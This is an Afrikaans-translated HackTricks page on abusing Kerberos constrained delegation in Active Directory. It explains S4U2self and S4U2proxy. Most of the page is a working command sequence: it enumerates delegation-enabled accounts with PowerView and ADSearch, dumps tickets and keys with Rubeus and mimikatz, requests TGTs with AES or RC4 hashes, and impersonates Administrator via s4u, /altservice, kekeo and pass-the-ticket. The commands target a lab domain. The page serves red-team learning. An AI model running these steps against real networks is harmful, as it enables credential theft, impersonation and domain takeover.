# Beperkte Delegasie

<details>

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</details>

## Beperkte Delegasie

Met behulp hiervan kan 'n domein-admin 'n rekenaar toelaat om 'n gebruiker of rekenaar te verteenwoordig teenoor 'n diens van 'n masjien.

* **Diens vir Gebruiker na self (**_**S4U2self**_**):** As 'n **diensrekening** 'n _userAccountControl_-waarde bevat wat [TRUSTED\_TO\_AUTH\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx) (T2A4D) bevat, kan dit 'n TGS vir homself (die diens) verkry namens enige ander gebruiker.
* **Diens vir Gebruiker na Proksi(**_**S4U2proxy**_**):** 'n **Diensrekening** kan 'n TGS verkry namens enige gebruiker na die diens wat in **msDS-AllowedToDelegateTo** ingestel is. Om dit te doen, het dit eers 'n TGS van daardie gebruiker na homself nodig, maar dit kan S4U2self gebruik om daardie TGS te verkry voordat dit die ander een aanvra.

**Let op**: As 'n gebruiker gemerk is as ‘_Rekening is sensitief en kan nie gedelegeer word nie_’ in AD, sal jy **nie in staat wees om hulle te verteenwoordig** nie.

Dit beteken dat as jy die has van die diens **oorkom**, jy **gebruikers kan verteenwoordig** en toegang kan verkry namens hulle tot die **gekonfigureerde diens** (moontlike **privesc**).

Verder sal jy **nie net toegang hê tot die diens wat die gebruiker kan verteenwoordig nie, maar ook tot enige diens**, omdat die SPN (die diensnaam wat versoek word) nie nagegaan word nie, slegs voorregte. Daarom, as jy toegang het tot die **CIFS-diens**, kan jy ook toegang hê tot die **HOST-diens** deur die `/altservice`-vlag in Rubeus te gebruik.

Ook, **LDAP-diens-toegang op DC**, is wat nodig is om 'n **DCSync** uit te buit.

{% code title="Enumerate" %}
```bash
# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
```
{% code title="Kry TGT" %}
```bash
# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys

## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap

# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
```
{% endcode %}

{% hint style="warning" %}
Daar is **ander maniere om 'n TGT-kaartjie** of die **RC4** of **AES256** te bekom sonder om as SYSTEM in die rekenaar te wees, soos die Drukkerfout en onbeperkte delegasie, NTLM-oorplasing en misbruik van die Active Directory-sertifikaatdiens.

**Net deur daardie TGT-kaartjie (of gehash) te hê, kan jy hierdie aanval uitvoer sonder om die hele rekenaar te kompromitteer.**
{% endhint %}

{% code title="Met behulp van Rubeus" %}
```bash
#Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

#Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap

#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
```
{% code title="kekeo + Mimikatz" %}
```bash
#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL

#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
```
{% endcode %}

[**Meer inligting in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)

<details>

<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Ander maniere om HackTricks te ondersteun:

* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.

</details>